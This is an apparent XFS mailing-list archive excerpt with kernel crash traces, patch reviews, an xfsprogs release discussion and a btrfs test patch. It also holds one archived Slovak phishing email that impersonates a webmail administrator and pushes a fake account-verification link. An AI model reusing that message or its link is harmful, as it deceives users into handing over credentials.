xfs_da3_node_add+0x11c/0x210 [xfs] > [] xfs_da3_node_split+0xc3/0x230 [xfs] > [] xfs_da3_split+0x1a8/0x410 [xfs] > [] xfs_dir2_node_addname+0x47f/0xde0 [xfs] > [] xfs_dir_createname+0x1d5/0x1e0 [xfs] > [] ? kmem_alloc+0x67/0xf0 [xfs] > [] xfs_symlink+0x619/0xa20 [xfs] > [] ? _d_rehash+0x36/0x40 > [] ? __lookup_hash+0x38/0x50 > [] ? lookup_hash+0x19/0x20 > [] ? kern_path_create+0x8e/0x170 > [] xfs_vn_symlink+0x5c/0xe0 [xfs] > [] vfs_symlink+0x99/0x100 > [] SyS_symlinkat+0x66/0xd0 > [] SyS_symlink+0x16/0x20 > [] system_call_fastpath+0x16/0x1b > Code: 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 f1 41 89 d0 48 > c7 c6 70 50 33 a0 48 89 fa 31 c0 48 89 e5 31 ff e8 de fb ff ff<0f> 0b > 66 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 > RIP [] assfail+0x22/0x30 [xfs] > RSP > ---[ end trace 9578edaae955ff56 ]--- > > I repeated the test on a crc=0 fs (with -isize=512) and could not > reproduce during fsstress. I let it populate to about 10GB and > ultimately hit the same assert on unlink during a post-test cleanup: > > crc=0 > rm -rf /mnt/test > > XFS: Assertion failed: first<= last&& last< BBTOB(bp->b_length), > file: fs/xfs/xfs_trans_buf.c, line: 568 > ------------[ cut here ]------------ > kernel BUG at fs/xfs/xfs_message.c:108! > invalid opcode: 0000 [#1] SMP > Modules linked in: xfs libcrc32c fuse ebtable_nat > nf_conntrack_netbios_ns nf_conntrack_broadcast ipt_MASQUERADE > ip6table_nat nf_nat_ipv6 ip6table_mangle ip6t_REJECT nf_conntrack_ipv6 > nf_defrag_ipv6 iptable_nat nf_nat_ipv4 nf_nat iptable_mangle > nf_conntrack_ipv4 nf_defrag_ipv4 xt_conntrack nf_conntrack > ebtable_filter ebtables bnep bluetooth rfkill ip6table_filter ip6_tables > snd_hda_intel snd_hda_codec snd_hwdep snd_seq snd_seq_device snd_pcm > snd_page_alloc snd_timer snd soundcore joydev pcspkr virtio_balloon > i2c_piix4 floppy mperf uinput qxl drm_kms_helper ttm drm virtio_net > virtio_blk i2c_core > CPU: 1 PID: 2198 Comm: rm Not tainted 3.11.0-rc1+ #10 > Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 > task: ffff8801161ec650 ti: ffff8800c803e000 task.ti: ffff8800c803e000 > RIP: 0010:[] [] assfail+0x22/0x30 [xfs] > RSP: 0018:ffff8800c803fa98 EFLAGS: 00010292 > RAX: 000000000000006b RBX: ffff8801029a6e80 RCX: 0000000000000000 > RDX: ffff88011fc8ee48 RSI: ffff88011fc8d038 RDI: ffff88011fc8d038 > RBP: ffff8800c803fa98 R08: 0000000000000000 R09: 0000000000000209 > R10: ffffffff81858260 R11: 0000000000000208 R12: ffff8800302bd200 > R13: ffff8800d25e0850 R14: 000000000000122f R15: ffff8800d271f010 > FS: 00007f28ef9bf740(0000) GS:ffff88011fc80000(0000) knlGS:0000000000000000 > CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b > CR2: 000000000153a000 CR3: 00000000b1fd3000 CR4: 00000000000006e0 > Stack: > ffff8800c803fae8 ffffffffa032b549 00800201008006cc 000000100185febe > ffffffffa033fcb0 ffff8800ade0c010 ffff8800ade0c000 ffff8800d3c2b9e0 > ffff8800d25e0850 ffff8800d271f010 ffff8800c803fb58 ffffffffa02f61ff > Call Trace: > [] xfs_trans_log_buf+0x89/0x1b0 [xfs] > [] xfs_da3_node_unbalance+0xef/0x1d0 [xfs] > [] xfs_da3_join+0x240/0x290 [xfs] > [] xfs_dir2_node_removename+0x69b/0x8b0 [xfs] > [] ? xfs_bmap_last_extent+0x6e/0xb0 [xfs] > [] xfs_dir_removename+0x195/0x1a0 [xfs] > [] xfs_remove+0x2a9/0x410 [xfs] > [] xfs_vn_unlink+0x52/0xa0 [xfs] > [] vfs_unlink+0x9e/0x110 > [] do_unlinkat+0x1a1/0x230 > [] SyS_unlinkat+0x1b/0x40 > [] system_call_fastpath+0x16/0x1b > Code: 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 f1 41 89 d0 48 > c7 c6 70 30 34 a0 48 89 fa 31 c0 48 89 e5 31 ff e8 de fb ff ff<0f> 0b > 66 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 > RIP [] assfail+0x22/0x30 [xfs] > RSP > ---[ end trace 3ef54f36db3ba0c5 ]--- > > Info on the crc=0 fs is as follows: > > meta-data=/dev/vdb isize=512 agcount=4, agsize=6553600 blks > = sectsz=512 attr=2, projid32bit=1 > = crc=0 > data = bsize=4096 blocks=26214400, imaxpct=25 > = sunit=0 swidth=0 blks > naming =version 2 bsize=4096 ascii-ci=0 > log =internal bsize=4096 blocks=12800, version=2 > = sectsz=512 sunit=0 blks, lazy-count=1 > realtime =none extsz=4096 blocks=0, rtextents=0 > > > Brian FYI: The second (rm version) of the test bisects to the patch: commit f5ea110044fa858925a880b4fa9f551bfa2dfc38 xfs: add CRCs to dir2/da node blocks --- The secret to tripping over the bug is run the test until fsstress fills the filesystem before removing the files. So an error handling? I use the test: #!/bin/sh ltp/fsstress -z -s 1378390208 -fsymlink=1 -n9999999 -p4 -d /test2 cd /test2 sync rm -rf * If your filesystem is smaller, decrease the -n to make the test faster. I have still not gotten a core, though Michael Semon sent one. --Mark. From info@mail.sk Thu Sep 12 20:46:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 405AA7F58 for ; Thu, 12 Sep 2013 20:46:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 25AF4304039 for ; Thu, 12 Sep 2013 18:46:20 -0700 (PDT) X-ASG-Debug-ID: 1379036777-04cb6c377713e880001-w1Z2WR Received: from uninova.sk (stip-bi-static-227.213-81-190.telecom.sk [213.81.190.227]) by cuda.sgi.com with ESMTP id WEJ2pFPZ3EUZuoP4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Sep 2013 18:46:18 -0700 (PDT) X-Barracuda-Envelope-From: info@mail.sk X-Barracuda-Apparent-Source-IP: 213.81.190.227 Received: (qmail 9432 invoked by uid 103); 12 Sep 2013 23:50:12 -0000 Received: from 213.81.190.227 by mail.uninova.sk (envelope-from , uid 510) with qmail-scanner-2.01 (clamdscan: 0.97.3/17843. spamassassin: 3.3.1. Clear:RC:1(213.81.190.227):. Processed in 0.019999 secs); 12 Sep 2013 23:50:12 -0000 Received: from stip-bi-static-227.213-81-190.telecom.sk (HELO mail.paneurouni.com) (213.81.190.227) by 0 with SMTP; 12 Sep 2013 23:50:12 -0000 Received: from 41.206.12.31 (SquirrelMail authenticated user eduard.kacik@uninova.sk) by mail.paneurouni.com with HTTP; Fri, 13 Sep 2013 01:50:12 +0200 (CEST) Message-ID: <62097.41.206.12.31.1379029812.squirrel@mail.paneurouni.com> Date: Fri, 13 Sep 2013 01:50:12 +0200 (CEST) Subject: =?iso-8859-2?Q?V=E1=BEen=ED_E-mail_u=BE=EDvate=B5a;?= From: "webmail update (2013)" X-ASG-Orig-Subj: =?iso-8859-2?Q?V=E1=BEen=ED_E-mail_u=BE=EDvate=B5a;?= User-Agent: SquirrelMail/1.4.10a MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-2 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Barracuda-Connect: stip-bi-static-227.213-81-190.telecom.sk[213.81.190.227] X-Barracuda-Start-Time: 1379036777 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.71 X-Barracuda-Spam-Status: No, SCORE=1.71 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA074, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140560 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.50 BSF_SC0_SA074 URI: Custom Rule SA074 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; Vážení E-mail užívateľa; Prekročili ste 23432 boxy nastaviť svoje Webová služba / Administrátor, a budete mať problémy pri odosielaní a prijímať e-maily, kým znova overiť. Musíte aktualizovať kliknutím na odkaz nižšie a vyplňte údaje pre overenie vášho účtu Prosím, kliknite na odkaz nižšie alebo skopírovať vložiť do e-prehliadač pre overenie Schránky. http://webmailupdate213443324.jimdo.com/ Pozor! Ak tak neurobíte, budú mať obmedzený prístup k e-mailu schránky. Ak sa nepodarí aktualizovať svoj ​​účet do troch dní od aktualizácie oznámenia, bude váš účet natrvalo uzavretá. S pozdravom, System Administrator ® From sandeen@sandeen.net Thu Sep 12 20:58:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D26D229E02 for ; Thu, 12 Sep 2013 20:58:36 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9A452304043 for ; Thu, 12 Sep 2013 18:58:36 -0700 (PDT) X-ASG-Debug-ID: 1379037515-04bdf02f22fdc3a0001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id LbaAURYzyVxGnDSP for ; Thu, 12 Sep 2013 18:58:35 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 9E0F06182DBF; Thu, 12 Sep 2013 20:58:34 -0500 (CDT) Message-ID: <52327149.6060507@sandeen.net> Date: Thu, 12 Sep 2013 20:58:33 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: "'linux-xfs@oss.sgi.com'" Subject: Re: Time for an xfsprogs "alpha1" release? References: <52322F7A.8060405@sandeen.net> <5232380E.4040300@sgi.com> <52323DB7.8000800@sandeen.net> <523250E5.2050607@sgi.com> X-ASG-Orig-Subj: Re: Time for an xfsprogs "alpha1" release? In-Reply-To: <523250E5.2050607@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379037515 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140560 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/12/13 6:40 PM, Mark Tinguely wrote: > On 09/12/13 17:18, Eric Sandeen wrote: >> On 9/12/13 4:54 PM, Mark Tinguely wrote: >>> On 09/12/13 16:17, Eric Sandeen wrote: >>>> With all of the changes for CRC filesystems in xfsprogs git now, I'm wondering if it'd be a good idea to do a "3.2.0-alpha1" sort of release. >>>> >>>> I know it's not yet feature complete, but I think there would be value in getting a version-stamped tarball out there for testing - it could filter to rawhide-ish distros, and get a bit more airtime while the remaining bits get worked out. >>>> >>>> We'd probably want a nice readme about what's new and what's not yet done, caveats, etc, but I think it'd be worth getting it out there into the hands of willing testers, w/o requiring them to do a build from git. >>>> >>>> Thoughts? >>>> >>>> Thanks, >>>> -Eric >>>> >>> >>> Good idea, but xfsprogs is in a state that it can't compile: >>> >>> http://oss.sgi.com/archives/xfs/2013-09/msg00396.html >>> >>> Patch 31 v3 / 55 is broken. It is missing xfs_sb.c and has an extra >>> xfs_mount.c. >>> >>> If you want it this week, we could do the corrections or wait for Dave >>> to repost. >> >> hm? The git tree builds fine here, anyway (modulo some warnings). >> >> so quick, cut an alpha1 before it breaks. ;) >> >> (but if you mean: we should get the latest stuff on the list in first, >> and fix it so it builds - ok - but there will probably always be more >> stuff to pull in, so at some point when we have a reasonable amount of it >> in place, we could cut a test release? There's always "alpha2"...) >> >> -Eric > > Yep, simple to fix. I manually pulled in xfs_sb.c to make sure 47 v2 / 55 was still okay. I can have a tar tomorrow. Well, any released tarball needs to come from a tagged git tree, of course. So if the new series needs to go in first, and needs fixes before that, we can wait. Or if it's ok as it is now, and just missing some functionality, we could cut it now as alpha1, and cut alpha2 next.... *shrug*. Not a huge rush, just pick a time when the tree is useful to get some wider testing, and cut a pre-release from that point in git. -Eric > --Mark. From jeff.liu@oracle.com Fri Sep 13 05:05:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9EABF29DFB for ; Fri, 13 Sep 2013 05:05:48 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 60D78304032 for ; Fri, 13 Sep 2013 03:05:48 -0700 (PDT) X-ASG-Debug-ID: 1379066743-04bdf0538784c80001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id E0b6IcAMT9SUTWbe (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Fri, 13 Sep 2013 03:05:43 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8DA5f2L030232 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 13 Sep 2013 10:05:42 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8DA5f4g026631 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 Sep 2013 10:05:41 GMT Received: from abhmt102.oracle.com (abhmt102.oracle.com [141.146.116.54]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8DA5fMg002267; Fri, 13 Sep 2013 10:05:41 GMT Received: from [192.168.1.104] (/123.119.98.168) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 13 Sep 2013 03:05:40 -0700 Message-ID: <5232E39F.60206@oracle.com> Date: Fri, 13 Sep 2013 18:06:23 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: Ben Myers CC: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: Make the incore inode di_size to xfs_ufsize_t References: <52269DF4.5040305@oracle.com> <20130912142446.GZ1935@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: Make the incore inode di_size to xfs_ufsize_t In-Reply-To: <20130912142446.GZ1935@sgi.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1379066743 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140569 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Ben, On 09/12/2013 10:24 PM, Ben Myers wrote: > Hey Jeff, > > On Wed, Sep 04, 2013 at 10:41:56AM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> Make the incore inode di_size to unsigned, this would be helpful >> to catch the negative sizes of it in many cases, so that we don't >> need to perform additional check for it being less than ZERO or not. >> >> Reported-by: Dan Carpenter >> Signed-off-by: Jie Liu >> --- >> fs/xfs/xfs_inode_fork.c | 3 +-- >> fs/xfs/xfs_log_format.h | 2 +- >> 2 files changed, 2 insertions(+), 3 deletions(-) >> >> diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c >> index 02f1083..2b60a5a 100644 >> --- a/fs/xfs/xfs_inode_fork.c >> +++ b/fs/xfs/xfs_inode_fork.c >> @@ -167,8 +167,7 @@ xfs_iformat_fork( >> } >> >> di_size = be64_to_cpu(dip->di_size); >> - if (unlikely(di_size < 0 || >> - di_size > XFS_DFORK_DSIZE(dip, ip->i_mount))) { >> + if (unlikely(di_size > XFS_DFORK_DSIZE(dip, ip->i_mount))) { >> xfs_warn(ip->i_mount, >> "corrupt inode %Lu (bad size %Ld for local inode).", >> (unsigned long long) ip->i_ino, >> diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h >> index a49ab2c..2795fc5 100644 >> --- a/fs/xfs/xfs_log_format.h >> +++ b/fs/xfs/xfs_log_format.h >> @@ -547,7 +547,7 @@ typedef struct xfs_icdinode { >> xfs_ictimestamp_t di_atime; /* time last accessed */ >> xfs_ictimestamp_t di_mtime; /* time last modified */ >> xfs_ictimestamp_t di_ctime; /* time created/inode modified */ >> - xfs_fsize_t di_size; /* number of bytes in file */ >> + xfs_ufsize_t di_size; /* number of bytes in file */ > > These two changes by themselves look fairly innocuous, but upon closer > inspection I'm not so sure... > > e.g. xfs_fsize_t is still signed, and i_size is loff_t is still signed. > I'm wondering if this doesn't represent a subtle change in the on-disk > format for inodes up in that size range. This was on my 3.12 queue. I > think it bears more discussion, so I'll hold off on this one for now. As per my understanding for Dave's comments, maybe it's better to make di_size to be unsigned with few changes, that's why I chose to fix the incore di_size only. Hence if a negative di_size is read from the disk to the incore in above case with Dan's fix, it will be evaluated to be an unexpected large value which would cause the corresponding check up fails. Similarly, if a negative value is assigned to the incore di_size, it'll be evaluated to an unexpected bigger value as well. In consequence, after flushing the incore structure to disk, and read it back again, it will go through the previous check up again. > > FWIW I believe we're still ok with just Dan's fix because the maximum > size for local format is half a block or less. Ok, meanwhile, let's waiting for other's comments. Thanks, -Jeff From sbehrens@giantdisaster.de Fri Sep 13 05:27:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C7B7429DFB for ; Fri, 13 Sep 2013 05:27:40 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 97908304039 for ; Fri, 13 Sep 2013 03:27:40 -0700 (PDT) X-ASG-Debug-ID: 1379068046-04cb6c37771568e0001-NocioJ Received: from xp-ob.rzone.de (xp-ob.rzone.de [81.169.146.138]) by cuda.sgi.com with ESMTP id nuDOHz3PFYsbQPdk (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Sep 2013 03:27:27 -0700 (PDT) X-Barracuda-Envelope-From: sbehrens@giantdisaster.de X-Barracuda-Apparent-Source-IP: 81.169.146.138 X-RZG-CLASS-ID: xp Received: from pizpot.store ([192.168.43.236]) by joses.store (RZmta 32.1 OK) with ESMTP id 6062e6p8CIplsG ; Fri, 13 Sep 2013 12:27:21 +0200 (CEST) From: Stefan Behrens To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fusionio.com Subject: [PATCH] xfstests: btrfs/011 improvement for compressed filesystems Date: Fri, 13 Sep 2013 12:27:21 +0200 X-ASG-Orig-Subj: [PATCH] xfstests: btrfs/011 improvement for compressed filesystems Message-Id: <1379068041-4299-1-git-send-email-sbehrens@giantdisaster.de> X-Mailer: git-send-email 1.8.4 X-Barracuda-Connect: xp-ob.rzone.de[81.169.146.138] X-Barracuda-Start-Time: 1379068046 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140570 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Josef noticed that using /dev/zero to generate most of the test data doesn't work if someone overides the mount options to enable compression. The test that performs a cancelation failed because the replace operation was already finished when the cancel request was executed. Since /dev/urandom is too slow to generate multiple GB, the way how the filesystem data is generated is completely changed with this patch. Now /dev/urandom is used to generate one 1MB file and this file is copied up to 2048 times. /dev/zero is no longer used. The runtime of the test is about the same as before. Compression works now, online deduplication will again cause issues, but we don't have online deduplicatin today. Reported-by: Josef Bacik Signed-off-by: Stefan Behrens --- tests/btrfs/011 | 46 ++++++++++++++++++++++++++++++---------------- 1 file changed, 30 insertions(+), 16 deletions(-) diff --git a/tests/btrfs/011 b/tests/btrfs/011 index c8b4aac..71ff3de 100755 --- a/tests/btrfs/011 +++ b/tests/btrfs/011 @@ -78,6 +78,7 @@ workout() local quick="$4" local source_dev="`echo ${SCRATCH_DEV_POOL} | awk '{print $1}'`" local target_dev="`echo ${SCRATCH_DEV_POOL} | awk '{print $NF}'`" + local fssize if [ "`echo $SCRATCH_DEV_POOL | wc -w`" -lt `expr $num_devs4raid + 1` ]; then echo "Skip workout $1 $2 $3 $4" >> $seqres.full @@ -107,33 +108,46 @@ workout() _notrun "Different device sizes detected" fi + if [ `$BTRFS_SHOW_SUPER_PROG $SCRATCH_DEV | grep dev_item.total_bytes | awk '{print $2}'` -lt 2500000000 ]; then + _notrun "device size too small" + fi + _scratch_mount - # Generate 500 times 20K extents in the data chunk and fill up - # metadata with inline extents. Ignore ENOSPC. + # Generate metadata and some minimal user data, generate 500 times + # 20K extents in the data chunk and fill up metadata with inline + # extents. for i in `seq 1 500`; do dd if=/dev/urandom of=$SCRATCH_MNT/l$i bs=16385 count=1 dd if=/dev/urandom of=$SCRATCH_MNT/s$i bs=3800 count=1 done > /dev/null 2>&1 + # /dev/urandom is slow but has the benefit that the generated + # contents does not shrink during compression. + # Generate a template once and quickly copy it multiple times. + # Obviously with online deduplication this will not work anymore. + dd if=/dev/urandom of=$SCRATCH_MNT/t0 bs=1M count=1 > /dev/null 2>&1 + if [ "${quick}Q" = "thoroughQ" ]; then # The intention of this "thorough" test is to increase # the probability of random errors, in particular in # conjunction with the background noise generator and - # a sync call while the replace operation in ongoing. - # Unfortunately it takes quite some time to generate - # the test filesystem, therefore most data consists out - # of zeros although this data is not very useful for - # detecting misplaced read/write requests. - # Ignore ENOSPC, it's not a problem.. - dd if=/dev/urandom of=$SCRATCH_MNT/r bs=1M count=200 >> $seqres.full 2>&1 & - dd if=/dev/zero of=$SCRATCH_MNT/0 bs=1M count=2000 >> $seqres.full 2>&1 - wait + # a sync call while the replace operation is ongoing. + fssize=2048 elif [ "${with_cancel}Q" = "cancelQ" ]; then - # produce some data to prevent that the replace operation - # finishes before the cancel request is started - dd if=/dev/zero of=$SCRATCH_MNT/0 bs=1M count=1000 >> $seqres.full 2>&1 + # The goal is to produce enough data to prevent that the + # replace operation finishes before the cancel request + # is started. + fssize=1024 + else + fssize=64 fi + + # since the available size was tested before, do not tolerate + # any failures + for i in `seq $fssize`; do + cp $SCRATCH_MNT/t0 $SCRATCH_MNT/t$i || _fail "cp failed" + done > /dev/null 2>> $seqres.full sync; sync btrfs_replace_test $source_dev $target_dev "" $with_cancel $quick @@ -214,7 +228,7 @@ btrfs_replace_test() # before the status is printed $BTRFS_UTIL_PROG replace status $SCRATCH_MNT > $tmp.tmp 2>&1 cat $tmp.tmp >> $seqres.full - grep -q canceled $tmp.tmp || _fail "btrfs replace status failed" + grep -q canceled $tmp.tmp || _fail "btrfs replace status (canceled) failed" else if [ "${quick}Q" = "thoroughQ" ]; then # On current hardware, the thorough test runs @@ -226,7 +240,7 @@ btrfs_replace_test() $BTRFS_UTIL_PROG replace status $SCRATCH_MNT > $tmp.tmp 2>&1 cat $tmp.tmp >> $seqres.full - grep -q finished $tmp.tmp || _fail "btrfs replace status failed" + grep -q finished $tmp.tmp || _fail "btrfs replace status (finished) failed" fi if ps -p $noise_pid | grep -q $noise_pid; then -- 1.8.4 From tinguely@sgi.com Fri Sep 13 09:17:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E3F9A29DFB for ; Fri, 13 Sep 2013 09:17:45 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9AB98304032; Fri, 13 Sep 2013 07:17:42 -0700 (PDT) Message-ID: <52331E85.2090601@sgi.com> Date: Fri, 13 Sep 2013 09:17:41 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: xfs@oss.sgi.com, Dave Chinner CC: Eric Sandeen Subject: Re: [PATCH 31/55 V3] libxfs: switch over to xfs_sb.c and remove xfs_mount.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-32-git-send-email-david@fromorbit.com> <522A1BCA.6010500@sgi.com> <20130906214021.GD12541@dastard> <522A4C79.1030200@sgi.com> <20130910010241.GZ12779@dastard> <522F289E.6070802@sgi.com> <20130910213249.GC19103@dastard> <52306F3E.8060409@sgi.com> <52307D39.6060903@sgi.com> In-Reply-To: <52307D39.6060903@sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/11/13 09:24, Mark Tinguely wrote: > On 09/11/13 08:25, Mark Tinguely wrote: >> On 09/10/13 16:32, Dave Chinner wrote: >> >> > libxfs: switch over to xfs_sb.c and remove xfs_mount.c >> > >> > From: Dave Chinner >> > >> > Now that the kernel code has split the superblock specific code out >> > of xfs_mount.c, we don't need xfs_mount.c anymore. Copy in xfs_sb.c >> > and remove xfs_mount.c >> > >> > Signed-off-by: Dave Chinner >> > --- >> >> Applies clean for me. >> >> Reviewed-by: Mark Tinguely > > patch 31 V2/V3 break the compilation of xfsprogs. > > I get: > ... > > configure: creating ./config.status > config.status: creating include/builddefs > config.status: creating include/platform_defs.h > config.status: executing libtool commands > Building include > [LN] xfs > [LN] disk > Building libxfs > [CC] gen_crc32table > [GENERATE] crc32table.h > [TEST] CRC32 > CRC_LE_BITS = 32 > crc32: tests passed, 225944 bytes in 117 usec > crc32c: tests passed, 225944 bytes in 121 usec > gmake[3]: *** No rule to make target `.ltdep', needed by `ltdepend'. Stop. > gmake[2]: *** [libxfs] Error 2 > make[1]: *** [default] Error 2 > make: *** [default] Error 2 > Auugh, I think I had a bad version of quilt. on another machine it applied and compiled correctly. I put reviewed-by in the files and sent to Rich to commit. --Mark. From b.o.b.m.arle.yf.o.r.e.vero.nl.y@gmail.com Fri Sep 13 09:19:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 